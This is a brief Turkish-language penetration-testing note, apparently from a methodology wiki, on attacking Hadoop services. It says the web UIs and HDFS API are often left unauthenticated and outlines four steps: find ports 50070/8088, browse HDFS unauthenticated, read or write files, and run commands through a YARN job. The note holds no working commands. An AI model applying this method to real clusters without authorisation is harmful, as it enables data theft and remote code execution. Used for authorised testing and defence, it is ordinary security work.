50030,50060,50070,50075,50090 - Pentesting Hadoop

Hadoop bigdata

Hadoop web UI ve HDFS API sıkça auth’suz kalır. Dosya okuma/yazma ve job submit RCE’ye gider. Hedef lab IP’si üzerinde komutları 50030 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 50070/8088 portlarını bul.

2. HDFS browse unauth.

3. Dosya oku/yaz.

4. YARN job ile komut.
